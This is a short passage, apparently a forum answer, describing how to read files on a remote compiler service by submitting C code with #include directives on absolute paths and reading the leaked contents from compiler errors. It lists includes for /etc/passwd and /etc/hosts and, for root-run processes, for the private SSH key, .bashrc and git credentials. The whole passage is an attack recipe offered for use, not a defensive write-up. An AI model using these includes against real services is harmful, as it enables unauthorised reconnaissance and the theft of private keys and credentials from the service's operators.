If you get the compiler errors, you can get an idea of the host system. For example, by testing these includes:

    #include </etc/hostname>
    #include </etc/hosts>
    #include </etc/passwd>

If you get some info about the system/user the process is running as, you can even try something like

    #include </root/.ssh/id_rsa>
    #include </root/.bashrc>
    #include </root/.gitcredentials>

etc